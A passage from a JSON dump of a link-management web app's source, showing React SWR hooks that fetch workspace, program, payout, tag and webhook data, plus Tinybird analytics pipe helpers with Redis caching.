    "content": "import { fetcher } from \"@dub/utils\";\nimport useSWR from \"swr\";\nimport * as z from \"zod/v4\";\nimport { PayoutResponse } from \"../types\";\nimport { payoutsQuerySchema } from \"../zod/schemas/payouts\";\nimport useWorkspace from \"./use-workspace\";\n\nexport default function usePayouts({\n  query,\n}: {\n  query?: z.input<typeof payoutsQuerySchema>;\n} = {}) {\n  const { id: workspaceId, defaultProgramId } = useWorkspace();\n\n  const { data: payouts, error } = useSWR<PayoutResponse[]>(\n    workspaceId &&\n      defaultProgramId &&\n      `/api/payouts?${new URLSearchParams({\n        workspaceId,\n        ...query,\n      } as Record<string, any>).toString()}`,\n    fetcher,\n  );\n\n  return {\n    payouts,\n    error,\n    loading: !payouts && !error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-program-enrollment.ts",
    "content": "import {\n  LARGE_PROGRAM_IDS,\n  LARGE_PROGRAM_MIN_TOTAL_COMMISSIONS_CENTS,\n} from \"@/lib/constants/partner-profile\";\nimport { fetcher } from \"@dub/utils\";\nimport { useSession } from \"next-auth/react\";\nimport { useParams } from \"next/navigation\";\nimport useSWR, { SWRConfiguration } from \"swr\";\nimport { ProgramEnrollmentProps } from \"../types\";\n\nexport default function useProgramEnrollment({\n  enabled = true,\n  swrOpts,\n}: {\n  enabled?: boolean;\n  swrOpts?: SWRConfiguration;\n} = {}) {\n  const { data: session, status } = useSession();\n  const { programSlug } = useParams();\n\n  const partnerId = session?.user?.[\"defaultPartnerId\"];\n\n  const {\n    data: programEnrollment,\n    error,\n    isLoading,\n  } = useSWR<ProgramEnrollmentProps>(\n    enabled && partnerId && programSlug\n      ? `/api/partner-profile/programs/${programSlug}`\n      : undefined,\n    fetcher,\n    {\n      dedupingInterval: 60000,\n      ...swrOpts,\n    },\n  );\n\n  return {\n    programEnrollment,\n    showDetailedAnalytics:\n      programEnrollment &&\n      (!LARGE_PROGRAM_IDS.includes(programEnrollment.programId) ||\n        (programEnrollment.status === \"approved\" &&\n          programEnrollment.totalCommissions >=\n            LARGE_PROGRAM_MIN_TOTAL_COMMISSIONS_CENTS)),\n    error,\n    loading: status === \"loading\" || isLoading,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-program-enrollments-count.ts",
    "content": "import { fetcher } from \"@dub/utils\";\nimport { useSession } from \"next-auth/react\";\nimport useSWR from \"swr\";\nimport * as z from \"zod/v4\";\nimport { partnerProfileProgramsCountQuerySchema } from \"../zod/schemas/partner-profile\";\n\nexport default function useProgramEnrollmentsCount(\n  query: z.infer<typeof partnerProfileProgramsCountQuerySchema> = {},\n) {\n  const { data: session } = useSession();\n  const partnerId = session?.user?.[\"defaultPartnerId\"];\n\n  const { data: count, isLoading } = useSWR<number>(\n    partnerId &&\n      `/api/partner-profile/programs/count?${new URLSearchParams(query)}`,\n    fetcher,\n    {\n      dedupingInterval: 60000,\n    },\n  );\n\n  return {\n    count,\n    isLoading,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-program-enrollments.ts",
    "content": "import { fetcher } from \"@dub/utils\";\nimport { useSession } from \"next-auth/react\";\nimport useSWR from \"swr\";\nimport * as z from \"zod/v4\";\nimport { ProgramEnrollmentProps } from \"../types\";\nimport { partnerProfileProgramsQuerySchema } from \"../zod/schemas/partner-profile\";\n\nexport default function useProgramEnrollments(\n  query: z.infer<typeof partnerProfileProgramsQuerySchema> = {},\n) {\n  const { data: session } = useSession();\n  const partnerId = session?.user?.[\"defaultPartnerId\"];\n\n  const { data: programEnrollments, isLoading } = useSWR<\n    ProgramEnrollmentProps[]\n  >(\n    partnerId &&\n      `/api/partner-profile/programs?${new URLSearchParams(\n        Object.fromEntries(\n          Object.entries(query).map(([key, value]) => [key, value.toString()]),\n        ),\n      )}`,\n    fetcher,\n    {\n      dedupingInterval: 60000,\n    },\n  );\n\n  return {\n    programEnrollments,\n    isLoading,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-program-messages-count.ts",
    "content": "import { fetcher } from \"@dub/utils\";\nimport useSWR, { SWRConfiguration } from \"swr\";\nimport * as z from \"zod/v4\";\nimport { countMessagesQuerySchema } from \"../zod/schemas/messages\";\n\nconst partialQuerySchema = countMessagesQuerySchema.partial();\n\nexport function useProgramMessagesCount({\n  query,\n  enabled = true,\n  swrOpts,\n}: {\n  query?: z.infer<typeof partialQuerySchema>;\n  enabled?: boolean;\n  swrOpts?: SWRConfiguration;\n} = {}) {\n  const { data, isLoading, error, mutate } = useSWR<number>(\n    enabled\n      ? `/api/partner-profile/messages/count?${new URLSearchParams({\n          ...(query as Record<string, string>),\n        }).toString()}`\n      : null,\n    fetcher,\n    {\n      keepPreviousData: true,\n      ...swrOpts,\n    },\n  );\n\n  return {\n    count: data,\n    isLoading,\n    error,\n    mutate,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-program-messages.ts",
    "content": "import { fetcher } from \"@dub/utils\";\nimport useSWR, { SWRConfiguration } from \"swr\";\nimport * as z from \"zod/v4\";\nimport {\n  ProgramMessagesSchema,\n  getProgramMessagesQuerySchema,\n} from \"../zod/schemas/messages\";\n\nconst partialQuerySchema = getProgramMessagesQuerySchema.partial();\n\nexport function useProgramMessages({\n  query,\n  enabled = true,\n  swrOpts,\n}: {\n  query?: z.infer<typeof partialQuerySchema>;\n  enabled?: boolean;\n  swrOpts?: SWRConfiguration;\n} = {}) {\n  const { data, isLoading, error, mutate } = useSWR<\n    z.infer<typeof ProgramMessagesSchema> & { delivered?: false }\n  >(\n    enabled\n      ? `/api/partner-profile/messages?${new URLSearchParams({\n          ...(query as Record<string, string>),\n        }).toString()}`\n      : null,\n    fetcher,\n    {\n      keepPreviousData: true,\n      // a bit more aggresive since we want messages to be updated in real time\n      refreshInterval: 500,\n      ...swrOpts,\n    },\n  );\n\n  return {\n    programMessages: data,\n    isLoading,\n    error,\n    mutate,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-program-referrals-count.ts",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { getPartnerReferralsCountQuerySchema } from \"@/lib/zod/schemas/referrals\";\nimport { useRouterStuff } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport useSWR from \"swr\";\nimport * as z from \"zod/v4\";\n\nexport function useProgramReferralsCount<T = number>({\n  query,\n  ignoreParams,\n  enabled = true,\n}: {\n  query?: z.infer<typeof getPartnerReferralsCountQuerySchema>;\n  ignoreParams?: boolean;\n  enabled?: boolean;\n} = {}) {\n  const { id: workspaceId, defaultProgramId } = useWorkspace();\n  const { getQueryString } = useRouterStuff();\n\n  const { data, error, isLoading } = useSWR<T>(\n    enabled &&\n      workspaceId &&\n      defaultProgramId &&\n      `/api/programs/${defaultProgramId}/referrals/count${getQueryString(\n        { workspaceId, ...query },\n        {\n          include: ignoreParams ? [] : [\"partnerId\", \"status\", \"search\"],\n        },\n      )}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  return {\n    data,\n    error,\n    loading: isLoading,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-program-resources.ts",
    "content": "import { fetcher } from \"@dub/utils\";\nimport { useParams } from \"next/navigation\";\nimport useSWR from \"swr\";\nimport * as z from \"zod/v4\";\nimport { programResourcesSchema } from \"../zod/schemas/program-resources\";\nimport useWorkspace from \"./use-workspace\";\n\nexport type ProgramResourcesProps = z.infer<typeof programResourcesSchema>;\n\nexport default function useProgramResources() {\n  const { programSlug } = useParams();\n  const { id: workspaceId, defaultProgramId } = useWorkspace();\n\n  const endpoint = programSlug\n    ? `/api/partner-profile/programs/${programSlug}/resources`\n    : defaultProgramId\n      ? `/api/programs/${defaultProgramId}/resources?workspaceId=${workspaceId}`\n      : null;\n\n  const {\n    data: resources,\n    error,\n    isValidating,\n    mutate,\n  } = useSWR<ProgramResourcesProps>(endpoint, fetcher, {\n    dedupingInterval: 60000,\n    revalidateOnFocus: false,\n    keepPreviousData: true,\n  });\n\n  return {\n    resources,\n    error,\n    mutate,\n    isValidating,\n    isLoading: Boolean(!resources && !error),\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-program.ts",
    "content": "import { fetcher } from \"@dub/utils\";\nimport useSWR, { SWRConfiguration } from \"swr\";\nimport { ProgramProps } from \"../types\";\nimport useWorkspace from \"./use-workspace\";\n\nexport default function useProgram<T = ProgramProps>(\n  {\n    query,\n    enabled = true,\n  }: {\n    query?: Record<string, any>;\n    enabled?: boolean;\n  } = {},\n  options?: SWRConfiguration,\n) {\n  const { id: workspaceId, defaultProgramId } = useWorkspace();\n\n  const {\n    data: program,\n    error,\n    mutate,\n  } = useSWR<T>(\n    enabled &&\n      workspaceId &&\n      defaultProgramId &&\n      `/api/programs/${defaultProgramId}?${new URLSearchParams({ workspaceId, ...query }).toString()}`,\n    fetcher,\n    {\n      dedupingInterval: 60000,\n      ...options,\n    },\n  );\n\n  return {\n    program,\n    error,\n    mutate,\n    loading: !program && !error ? true : false,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-refresh-session.ts",
    "content": "import { useSession } from \"next-auth/react\";\nimport { useEffect } from \"react\";\n\nexport default function useRefreshSession(sessionUserAttribute: string) {\n  const { data: session, update, status } = useSession();\n\n  useEffect(() => {\n    const refreshSession = async () => {\n      if (session?.user && !session.user[sessionUserAttribute]) {\n        console.log(`no ${sessionUserAttribute}, refreshing`);\n        await update();\n      }\n    };\n    refreshSession();\n  }, [session]);\n\n  return {\n    session,\n    update,\n    loading: status === \"loading\",\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-rewardful-campaigns.ts",
    "content": "import { RewardfulCampaign } from \"@/lib/rewardful/types\";\nimport { fetcher } from \"@dub/utils/src\";\nimport useSWR from \"swr\";\nimport useWorkspace from \"./use-workspace\";\n\nexport const useRewardfulCampaigns = ({\n  enabled = false,\n}: {\n  enabled: boolean;\n}) => {\n  const { id: workspaceId } = useWorkspace();\n\n  const { data, error } = useSWR<RewardfulCampaign[]>(\n    enabled && workspaceId\n      ? `/api/programs/rewardful/campaigns?workspaceId=${workspaceId}`\n      : null,\n    fetcher,\n  );\n\n  return {\n    campaigns: data,\n    loading: !data && !error && enabled,\n    error,\n  };\n};\n"
  },
  {
    "path": "apps/web/lib/swr/use-rewards.ts",
    "content": "import { fetcher } from \"@dub/utils\";\nimport useSWR from \"swr\";\nimport { RewardProps } from \"../types\";\nimport useWorkspace from \"./use-workspace\";\n\nexport default function useRewards() {\n  const { id: workspaceId, defaultProgramId } = useWorkspace();\n\n  const { data: rewards, error } = useSWR<RewardProps[]>(\n    workspaceId &&\n      defaultProgramId &&\n      `/api/rewards?workspaceId=${workspaceId}`,\n    fetcher,\n    {\n      dedupingInterval: 60000,\n      keepPreviousData: true,\n    },\n  );\n\n  return {\n    rewards,\n    loading: !rewards && !error,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-saml.ts",
    "content": "import type { SAMLSSORecord } from \"@boxyhq/saml-jackson\";\nimport { fetcher } from \"@dub/utils\";\nimport { useMemo } from \"react\";\nimport useSWR from \"swr\";\nimport useWorkspace from \"./use-workspace\";\n\nexport default function useSAML() {\n  const { id: workspaceId } = useWorkspace();\n\n  const { data, isLoading, mutate } = useSWR<{ connections: SAMLSSORecord[] }>(\n    workspaceId && `/api/workspaces/${workspaceId}/saml`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  const configured = useMemo(() => {\n    return data?.connections && data.connections.length > 0;\n  }, [data]);\n\n  return {\n    saml: data as { connections: SAMLSSORecord[] },\n    provider: configured\n      ? data!.connections[0].idpMetadata.friendlyProviderName\n      : null,\n    configured,\n    loading: isLoading,\n    mutate,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-scim.ts",
    "content": "import type { Directory } from \"@boxyhq/saml-jackson\";\nimport { fetcher } from \"@dub/utils\";\nimport { useMemo } from \"react\";\nimport useSWR from \"swr\";\nimport useWorkspace from \"./use-workspace\";\n\nexport default function useSCIM() {\n  const { id } = useWorkspace();\n\n  const { data, isLoading, mutate } = useSWR<{ directories: Directory[] }>(\n    id && `/api/workspaces/${id}/scim`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  const configured = useMemo(() => {\n    return data?.directories && data.directories.length > 0;\n  }, [data]);\n\n  return {\n    scim: data as { directories: Directory[] },\n    provider: configured ? data!.directories[0].type : null,\n    configured,\n    loading: isLoading,\n    mutate,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-tags-count.ts",
    "content": "import { fetcher } from \"@dub/utils\";\nimport useSWR from \"swr\";\nimport * as z from \"zod/v4\";\nimport { getTagsCountQuerySchema } from \"../zod/schemas/tags\";\nimport useWorkspace from \"./use-workspace\";\n\nconst partialQuerySchema = getTagsCountQuerySchema.partial();\n\nexport default function useTagsCount({\n  query,\n}: { query?: z.infer<typeof partialQuerySchema> } = {}) {\n  const { id: workspaceId } = useWorkspace();\n\n  const { data, error } = useSWR<number>(\n    workspaceId &&\n      `/api/tags/count?${new URLSearchParams({ workspaceId, ...query } as Record<string, any>).toString()}`,\n    fetcher,\n    {\n      dedupingInterval: 60000,\n    },\n  );\n\n  return {\n    data,\n    loading: !error && data === undefined,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-tags.ts",
    "content": "import { TagProps } from \"@/lib/types\";\nimport { fetcher } from \"@dub/utils\";\nimport useSWR from \"swr\";\nimport * as z from \"zod/v4\";\nimport { getTagsQuerySchema } from \"../zod/schemas/tags\";\nimport useWorkspace from \"./use-workspace\";\n\nconst partialQuerySchema = getTagsQuerySchema.partial();\n\nexport default function useTags({\n  query,\n  enabled = true,\n  includeLinksCount = false,\n}: {\n  query?: z.infer<typeof partialQuerySchema>;\n  enabled?: boolean;\n  includeLinksCount?: boolean;\n} = {}) {\n  const { id } = useWorkspace();\n\n  const { data: tags, isValidating } = useSWR<TagProps[]>(\n    id &&\n      enabled &&\n      `/api/tags?${new URLSearchParams({\n        workspaceId: id,\n        ...query,\n        includeLinksCount,\n      } as Record<string, any>).toString()}`,\n    fetcher,\n    {\n      dedupingInterval: 60000,\n    },\n  );\n\n  return {\n    tags,\n    loading: tags ? false : true,\n    isValidating,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-usage-timeseries.ts",
    "content": "import { fetcher, getFirstAndLastDay } from \"@dub/utils\";\nimport { endOfDay, startOfDay } from \"date-fns\";\nimport { useSearchParams } from \"next/navigation\";\nimport { useMemo } from \"react\";\nimport useSWR from \"swr\";\nimport { MEGA_WORKSPACE_LINKS_LIMIT } from \"../constants/misc\";\nimport useWorkspace from \"./use-workspace\";\n\nexport function useUsageTimeseries({\n  resource: definedResource,\n}: { resource?: \"links\" | \"events\" } = {}) {\n  const { id: workspaceId, billingCycleStart, totalLinks } = useWorkspace();\n  const { firstDay, lastDay } = getFirstAndLastDay(billingCycleStart ?? 0);\n  const searchParams = useSearchParams();\n\n  const defaultActiveTab = useMemo(() => {\n    if (totalLinks && totalLinks > MEGA_WORKSPACE_LINKS_LIMIT) {\n      return \"links\";\n    }\n    return \"events\";\n  }, [totalLinks]);\n\n  const activeResource = useMemo(() => {\n    const tab = searchParams.get(\"tab\");\n    if (tab && [\"links\", \"events\"].includes(tab)) {\n      return tab as \"links\" | \"events\";\n    }\n    return defaultActiveTab;\n  }, [searchParams, defaultActiveTab]);\n\n  // Get filter parameters from URL\n  const folderId = searchParams.get(\"folderId\");\n  const domain = searchParams.get(\"domain\");\n\n  const { start, end, interval } = useMemo(() => {\n    if (searchParams.has(\"interval\"))\n      return {\n        interval: searchParams.get(\"interval\") || \"30d\",\n        start: undefined,\n        end: undefined,\n      };\n\n    return {\n      start: searchParams.get(\"start\") || firstDay.toISOString(),\n      end: searchParams.get(\"end\") || lastDay.toISOString(),\n      interval: undefined,\n    };\n  }, [searchParams, firstDay, lastDay]);\n\n  const groupBy: \"folderId\" | \"domain\" =\n    ([\"folderId\", \"domain\"] as const).find(\n      (gb) => gb === searchParams.get(\"groupBy\"),\n    ) ?? \"folderId\";\n\n  const {\n    data: usage,\n    error,\n    isValidating,\n  } = useSWR<\n    {\n      date: string;\n      value: number;\n      groups: { id: string; name: string; usage: number }[];\n    }[]\n  >(\n    workspaceId &&\n      `/api/workspaces/${workspaceId}/billing/usage?${new URLSearchParams({\n        resource: definedResource || activeResource,\n        ...(start &&\n          end && {\n            start: startOfDay(new Date(start)).toISOString(),\n            end: endOfDay(new Date(end)).toISOString(),\n          }),\n        ...(interval && { interval }),\n        timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,\n        ...(folderId && { folderId }),\n        ...(domain && { domain }),\n        ...(groupBy && {\n          groupBy: groupBy === \"folderId\" ? \"folder_id\" : \"domain\",\n        }),\n      }).toString()}`,\n    fetcher,\n    {\n      dedupingInterval: 60000,\n      revalidateOnFocus: false,\n    },\n  );\n\n  return {\n    usage,\n    activeResource,\n    start,\n    end,\n    interval,\n    groupBy,\n    loading: !usage && !error,\n    isValidating,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-user.ts",
    "content": "import { fetcher } from \"@dub/utils\";\nimport useSWRImmutable from \"swr/immutable\";\nimport { UserProps } from \"../types\";\n\nexport default function useUser() {\n  const { data, isLoading } = useSWRImmutable<UserProps>(\"/api/user\", fetcher);\n\n  return {\n    user: data,\n    loading: isLoading,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-webhook.ts",
    "content": "import { WebhookProps } from \"@/lib/types\";\nimport { fetcher } from \"@dub/utils\";\nimport { useParams } from \"next/navigation\";\nimport useSWR from \"swr\";\nimport useWorkspace from \"./use-workspace\";\n\nexport default function useWebhook() {\n  const { id: workspaceId } = useWorkspace();\n  const { webhookId } = useParams();\n\n  const {\n    data: webhook,\n    error,\n    mutate,\n  } = useSWR<WebhookProps>(\n    workspaceId &&\n      webhookId &&\n      `/api/webhooks/${webhookId}?workspaceId=${workspaceId}`,\n    fetcher,\n    {\n      dedupingInterval: 60000,\n    },\n  );\n\n  return {\n    webhook,\n    mutate,\n    isLoading: workspaceId && webhookId && !webhook && !error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-webhooks.ts",
    "content": "import { WebhookProps } from \"@/lib/types\";\nimport { fetcher } from \"@dub/utils\";\nimport useSWR from \"swr\";\nimport useWorkspace from \"./use-workspace\";\n\nexport default function useWebhooks() {\n  const { id, plan } = useWorkspace();\n\n  const {\n    data: webhooks,\n    isValidating,\n    isLoading,\n  } = useSWR<WebhookProps[]>(\n    plan &&\n      ![\"free\", \"pro\"].includes(plan) &&\n      `/api/webhooks?workspaceId=${id}`,\n    fetcher,\n    {\n      dedupingInterval: 60000,\n    },\n  );\n\n  return {\n    webhooks,\n    isLoading,\n    isValidating,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-workspace-preferences.ts",
    "content": "// @ts-nocheck - TODO fix this\n\n\"use client\";\n\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useEffect, useState } from \"react\";\nimport { mutate } from \"swr\";\nimport { updateWorkspacePreferences } from \"../actions/update-workspace-preferences\";\nimport {\n  WorkspacePreferencesKey,\n  WorkspacePreferencesValue,\n} from \"../zod/schemas/workspace-preferences\";\nimport useWorkspace from \"./use-workspace\";\n\nexport const WORKSPACE_PREFERENCES_KEYS = {\n  linksDisplay: \"linksDisplay\",\n};\n\nexport function useWorkspacePreferences<\n  K extends WorkspacePreferencesKey,\n  D extends WorkspacePreferencesValue<K> | undefined,\n>(\n  key: K,\n  defaultValue?: D,\n): [\n  D extends undefined\n    ? WorkspacePreferencesValue<K> | undefined\n    : WorkspacePreferencesValue<K>,\n  (value: WorkspacePreferencesValue<K>) => Promise<void>,\n  { loading: boolean; mutateWorkspace: () => void },\n] {\n  const { id: workspaceId, slug, users, loading } = useWorkspace();\n  const workspacePreferences = users?.[0]?.workspacePreferences;\n\n  const { executeAsync } = useAction(updateWorkspacePreferences);\n  const [item, setItemState] = useState<\n    WorkspacePreferencesValue<K> | undefined\n  >(workspacePreferences?.[key]);\n\n  useEffect(() => {\n    setItemState(workspacePreferences?.[key]);\n  }, [workspacePreferences]);\n\n  const setItem = async (value: WorkspacePreferencesValue<K>) => {\n    setItemState(value);\n    await executeAsync({ key, value, workspaceId: workspaceId! });\n  };\n\n  const mutateWorkspace = () => {\n    mutate(`/api/workspaces/${slug}`);\n  };\n\n  return [item ?? defaultValue, setItem, { loading, mutateWorkspace }];\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-workspace-store.ts",
    "content": "\"use client\";\n\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useEffect, useState } from \"react\";\nimport { mutate } from \"swr\";\nimport * as z from \"zod/v4\";\nimport { updateWorkspaceStore } from \"../actions/update-workspace-store\";\nimport { workspaceStoreKeys } from \"../zod/schemas/workspaces\";\nimport useWorkspace from \"./use-workspace\";\n\nexport function useWorkspaceStore<T>(\n  key: z.infer<typeof workspaceStoreKeys>,\n  {\n    mutateOnSet = false,\n  }: {\n    mutateOnSet?: boolean;\n  } = {},\n): [\n  T | undefined,\n  (value: T) => Promise<void>,\n  { loading: boolean; mutateWorkspace: () => void },\n] {\n  const {\n    id: workspaceId,\n    slug,\n    store,\n    loading: loadingWorkspace,\n  } = useWorkspace();\n  const [loading, setLoading] = useState(loadingWorkspace);\n\n  const { executeAsync } = useAction(updateWorkspaceStore);\n  const [item, setItemState] = useState<T | undefined>(store?.[key]);\n\n  useEffect(() => {\n    if (!loadingWorkspace) {\n      setItemState(store?.[key]);\n      setLoading(false);\n    }\n  }, [store, loadingWorkspace]);\n\n  const mutateWorkspace = () => {\n    mutate(`/api/workspaces/${slug}`);\n  };\n\n  const setItem = async (value: T) => {\n    setItemState(value);\n\n    await executeAsync({\n      key,\n      value,\n      workspaceId: workspaceId!,\n    });\n\n    mutateOnSet && mutateWorkspace();\n  };\n\n  return [item, setItem, { loading, mutateWorkspace }];\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-workspace-users.ts",
    "content": "import { WorkspaceUserProps } from \"@/lib/types\";\nimport { fetcher } from \"@dub/utils\";\nimport useSWR from \"swr\";\nimport useWorkspace from \"./use-workspace\";\n\nexport default function useWorkspaceUsers({\n  invites,\n}: { invites?: boolean } = {}) {\n  const { id } = useWorkspace();\n\n  const { data: users, error } = useSWR<WorkspaceUserProps[]>(\n    id &&\n      (invites\n        ? `/api/workspaces/${id}/invites`\n        : `/api/workspaces/${id}/users`),\n    fetcher,\n  );\n\n  return {\n    users,\n    loading: !error && !users,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-workspace.ts",
    "content": "import { ExtendedWorkspaceProps } from \"@/lib/types\";\nimport { PRO_PLAN, fetcher, getNextPlan } from \"@dub/utils\";\nimport { useParams, useSearchParams } from \"next/navigation\";\nimport useSWR, { SWRConfiguration } from \"swr\";\nimport { MEGA_WORKSPACE_LINKS_LIMIT } from \"../constants/misc\";\n\nexport default function useWorkspace({\n  swrOpts,\n}: {\n  swrOpts?: SWRConfiguration;\n} = {}) {\n  let { slug } = useParams() as { slug: string | null };\n  const searchParams = useSearchParams();\n  if (!slug) {\n    slug = searchParams.get(\"slug\") || searchParams.get(\"workspace\");\n  }\n\n  const {\n    data: workspace,\n    error,\n    mutate,\n  } = useSWR<ExtendedWorkspaceProps>(\n    slug && `/api/workspaces/${slug}`,\n    fetcher,\n    {\n      dedupingInterval: 60000,\n      ...swrOpts,\n    },\n  );\n\n  return {\n    ...workspace,\n    nextPlan: workspace?.plan ? getNextPlan(workspace.plan) : PRO_PLAN,\n    role: (workspace?.users && workspace.users[0].role) || \"member\",\n    isOwner: workspace?.users && workspace.users[0].role === \"owner\",\n    exceededEvents: workspace && workspace.usage >= workspace.usageLimit,\n    exceededLinks: workspace && workspace.linksUsage >= workspace.linksLimit,\n    exceededPayouts:\n      workspace?.payoutsLimit &&\n      workspace.payoutsUsage >= workspace.payoutsLimit\n        ? true\n        : false,\n    exceededAI: workspace && workspace.aiUsage >= workspace.aiLimit,\n    exceededDomains:\n      workspace?.domains && workspace.domains.length >= workspace.domainsLimit,\n    isMegaWorkspace:\n      workspace && workspace.totalLinks >= MEGA_WORKSPACE_LINKS_LIMIT,\n    error,\n    defaultFolderId: workspace?.users && workspace.users[0].defaultFolderId,\n    mutate,\n    loading: slug && !workspace && !error ? true : false,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-workspaces.ts",
    "content": "import { WorkspaceProps } from \"@/lib/types\";\nimport { fetcher } from \"@dub/utils\";\nimport { useSession } from \"next-auth/react\";\nimport useSWR from \"swr\";\n\nexport default function useWorkspaces() {\n  const { data: session } = useSession();\n  const { data: workspaces, error } = useSWR<WorkspaceProps[]>(\n    session?.user && \"/api/workspaces\",\n    fetcher,\n    {\n      dedupingInterval: 60000,\n    },\n  );\n\n  const freeWorkspaces = workspaces?.filter(\n    (workspace) =>\n      workspace.plan === \"free\" &&\n      workspace?.users &&\n      workspace.users[0].role === \"owner\",\n  );\n\n  return {\n    workspaces,\n    freeWorkspaces,\n    exceedingFreeWorkspaces: freeWorkspaces && freeWorkspaces.length >= 2,\n    error,\n    loading: !workspaces && !error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/tinybird/client.ts",
    "content": "import { Tinybird } from \"@chronark/zod-bird\";\n\nexport const tb = new Tinybird({\n  token: process.env.TINYBIRD_API_KEY as string,\n  baseUrl: process.env.TINYBIRD_API_URL as string,\n});\n"
  },
  {
    "path": "apps/web/lib/tinybird/get-click-event.ts",
    "content": "import * as z from \"zod/v4\";\nimport { ClickEventTB } from \"../types\";\nimport { redis } from \"../upstash\";\nimport { clickEventSchemaTB } from \"../zod/schemas/clicks\";\nimport { tb } from \"./client\";\n\nconst getClickEventTB = tb.buildPipe({\n  pipe: \"get_click_event\",\n  parameters: z.object({\n    clickId: z.string(),\n  }),\n  data: clickEventSchemaTB,\n});\n\nexport const getClickEvent = async ({ clickId }: { clickId: string }) => {\n  try {\n    // check Redis cache first\n    const cachedClickData = await redis.get<ClickEventTB>(\n      `clickIdCache:${clickId}`,\n    );\n\n    if (cachedClickData) {\n      return {\n        ...cachedClickData,\n        timestamp: cachedClickData.timestamp.replace(\"T\", \" \").replace(\"Z\", \"\"),\n        qr: cachedClickData.qr ? 1 : 0,\n        bot: cachedClickData.bot ? 1 : 0,\n      };\n    }\n  } catch (_e) {}\n\n  try {\n    // fallback to Tinybird if Redis cache is not found\n    const { data } = await getClickEventTB({ clickId });\n    return data[0];\n  } catch (error) {\n    console.error(\n      `[getClickEvent] Error getting click event for clickId: ${clickId}`,\n      error,\n    );\n    return null;\n  }\n};\n"
  },
  {
    "path": "apps/web/lib/tinybird/get-customer-events-tb.ts",
    "content": "import * as z from \"zod/v4\";\nimport { tb } from \"./client\";\n\nconst pipe = tb.buildPipe({\n  pipe: \"v2_customer_events\",\n  parameters: z.any(), // TODO\n  data: z.any(), // TODO\n});\n\nexport const getCustomerEventsTB = async ({\n  customerId,\n  linkIds,\n}: {\n  customerId: string;\n  linkIds?: string[];\n}) => {\n  return await pipe({\n    customerId,\n    ...(linkIds ? { linkIds } : {}),\n  });\n};\n"
  },
  {
    "path": "apps/web/lib/tinybird/get-import-error-logs.ts",
    "content": "import * as z from \"zod/v4\";\nimport { importErrorLogSchema } from \"../zod/schemas/import-error-log\";\nimport { tb } from \"./client\";\n\nexport const getImportErrorLogs = tb.buildPipe({\n  pipe: \"get_import_error_logs\",\n  parameters: z.object({\n    workspaceId: z.string(),\n    importId: z.string(),\n  }),\n  data: importErrorLogSchema,\n});\n"
  },
  {
    "path": "apps/web/lib/tinybird/get-lead-event.ts",
    "content": "import * as z from \"zod/v4\";\nimport { LeadEventTB } from \"../types\";\nimport { redis } from \"../upstash\";\nimport { leadEventSchemaTB } from \"../zod/schemas/leads\";\nimport { tb } from \"./client\";\n\nexport const getLeadEventTB = tb.buildPipe({\n  pipe: \"get_lead_event\",\n  parameters: z.object({\n    customerId: z.string(),\n    eventName: z.string().nullish(),\n  }),\n  data: leadEventSchemaTB,\n});\n\nexport const getLeadEvent = async ({\n  customerId,\n  eventName,\n}: {\n  customerId: string;\n  eventName?: string | null;\n}) => {\n  try {\n    // check Redis cache first\n    const cachedLeadEvent = await redis.get<LeadEventTB>(\n      `leadCache:${customerId}${eventName ? `:${eventName.toLowerCase().replaceAll(\" \", \"-\")}` : \"\"}`,\n    );\n\n    if (cachedLeadEvent) {\n      return cachedLeadEvent;\n    }\n  } catch (_e) {}\n\n  try {\n    // fallback to Tinybird if Redis cache is not found\n    const { data } = await getLeadEventTB({ customerId, eventName });\n    return data[0];\n  } catch (error) {\n    console.error(\n      `[getLeadEvent] Error getting lead event for customerId: ${customerId}${eventName ? ` and eventName: ${eventName}` : \"\"}`,\n      error,\n    );\n    return null;\n  }\n};\n"
  },
  {
    "path": "apps/web/lib/tinybird/get-lead-events.ts",
    "content": "import * as z from \"zod/v4\";\nimport { leadEventSchemaTB } from \"../zod/schemas/leads\";\nimport { tb } from \"./client\";\n\nexport const getLeadEvents = tb.buildPipe({\n  pipe: \"get_lead_events\",\n  parameters: z.object({\n    customerIds: z.string().array(),\n  }),\n  data: leadEventSchemaTB,\n});\n"
  },
  {
    "path": "apps/web/lib/tinybird/get-top-links-by-countries.ts",
